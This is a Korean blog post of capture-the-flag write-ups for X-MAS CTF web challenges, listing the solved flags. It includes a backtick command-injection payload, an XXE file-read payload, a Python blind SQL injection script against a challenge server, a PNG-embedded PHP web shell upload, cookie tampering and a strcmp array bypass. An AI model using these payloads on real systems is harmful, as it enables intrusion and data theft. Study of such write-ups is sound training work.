Santa's Helper Mechagnome
문제에서 제공하는 디코 계정에서 말을 걸어보면 아래와 같은 기능들을 제공한다.
여기서 sendletter 기능 사용 시 메시지 내용에서 command injection이 터진다.
이를 이용해서 restart 코드를 가져와서 입력해주면 된다.
sendletter randdev@santa.com `cat robot_restart_codes.txt`
Flag = X-MAS{Wh0_Kn3W_4_H3lp3r_M3ch4gN0m3_W0uLd_b3_S0_vULN3R4bL3}
Santa's lucky number
문제에 들어가보면 페이지 넘버에 따라 출력되는 hash값이 다르다. 그냥 Brute Forcing으로 1~2000까지 넣어보니 플래그가 있었다.
Flag = X-MAS{W00pS_S0m30n3_73l1_S4n7a_h1s_c00k1eS_Ar3_BuRn1ng}
GnomeArena: Rock Paper Scissors
웹쉘 문제다. 업로드 기능이 있는데 업로드된 파일명이 프로필 네임을 가지고 저장된다. 이 때 확장자 검증이 없어서 php 확장자로 그냥 웹쉘 올려주면되는데 파일 헤더를 검증해 이미지파일인지 확인을 하고있어 png파일 마지막부분에 php 코드를 넣어서 업로드 해주면 된다.
Flag = X-MAS{Ev3ry0ne_m0ve_aw4y_th3_h4ck3r_gn0m3_1s_1n_t0wn}
Gnome's BU77ons
들어가보면 버튼 하나만 떡하니 있다. 해당 버튼 클릭 후 파라미터 값에 flag를 넣어주면 된다.
X-MAS{PhPs_A1n7_m4d3_f0r_bu77_0ns___:)}
Our Christmas Wishlist
간단한 XXE 문제다. .htaccess 파일 읽어보면 플래그 파일명이 존재한다. 해당 플래그 파일 읽어주면 된다.
<?xml version="1.0"?>
<!DOCTYPE ssr[
<!ENTITY ssrtest SYSTEM "php://filter/convert.base64-encode/resource=flag.txt">
]>
<message>&ssrtest;</message>
Flag = X-MAS{_The_Ex73rnal_Ent1t13$_W4n7_To__Jo1n_7he_p4r7y__700______}
Santa's No Password Login System
User-Agent에서 Blind SQLI가 터진다.
별도의 필터링이 없어서 그냥 데이터 쭉쭉 뽑아오면 플래그가 나온다.
import requests
def get_flag(payload):
url = "http://199.247.6.180:12003/"
header = {'User-Agent':payload}
response = requests.get(url,headers=header).text
if "Welcome" in response:
return True
else:
return False
flag = ""
for i in range(1,50):
binary = ""
for j in range(1,9):
payload = "' or 1=if(substring(lpad(bin(ord(substring(ua,"+str(i)+",1))),8,0),"+str(j)+",1)=1,1,0)#"
if get_flag(payload)==True:
binary += "1"
else:
binary += "0"
if binary != "00000000":
flag += chr(int(binary,2))
print "[-]Find Flag = "+flag
print "[*]Find Flag = "+flag
Flag = X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M3}
Reindeers and cookies
문제에 들어가보면 쿠키 값에 다음과 같은 값들이 있다.
adminpass=MyLittleCookie%21; cookiez=WlhsS2NGcERTVFpKYWtscFRFTktNR1ZZUW14SmFtOXBXak5XYkdNelVXbG1VVDA5
먼저 Base64된 값을 쭉 디코딩해보면 아래와 같은 값이 나오는데 type을 admin으로 변경해서 다시 인코딩해보면 admin password가 틀리다고 나온다.
{"id":"2","type":"guest"} -> {"id":"2","type":"admin"}
sqli는 안먹히길래 php trick류로 생각했고 비교할 때 strcmp를 쓰나하고 adminpass를 array로 넘겨주니 플래그가 나왔다.
Flag = X-MAS{S4n74_L0v35__C00kiesss_And_Juggl1ng!}
'CTF > Writeup' 카테고리의 다른 글
35C3 CTF 2018 php (0) | 2018.12.30 |
---|---|
Codegate 2014 clone technique (1) | 2018.12.29 |
hwp CTF 2018 unpack0r (0) | 2018.12.10 |
TenDollar CTF 2018 Cat-Proxy (0) | 2018.12.02 |
TenDollar CTF 2018 Kou (0) | 2018.12.01 |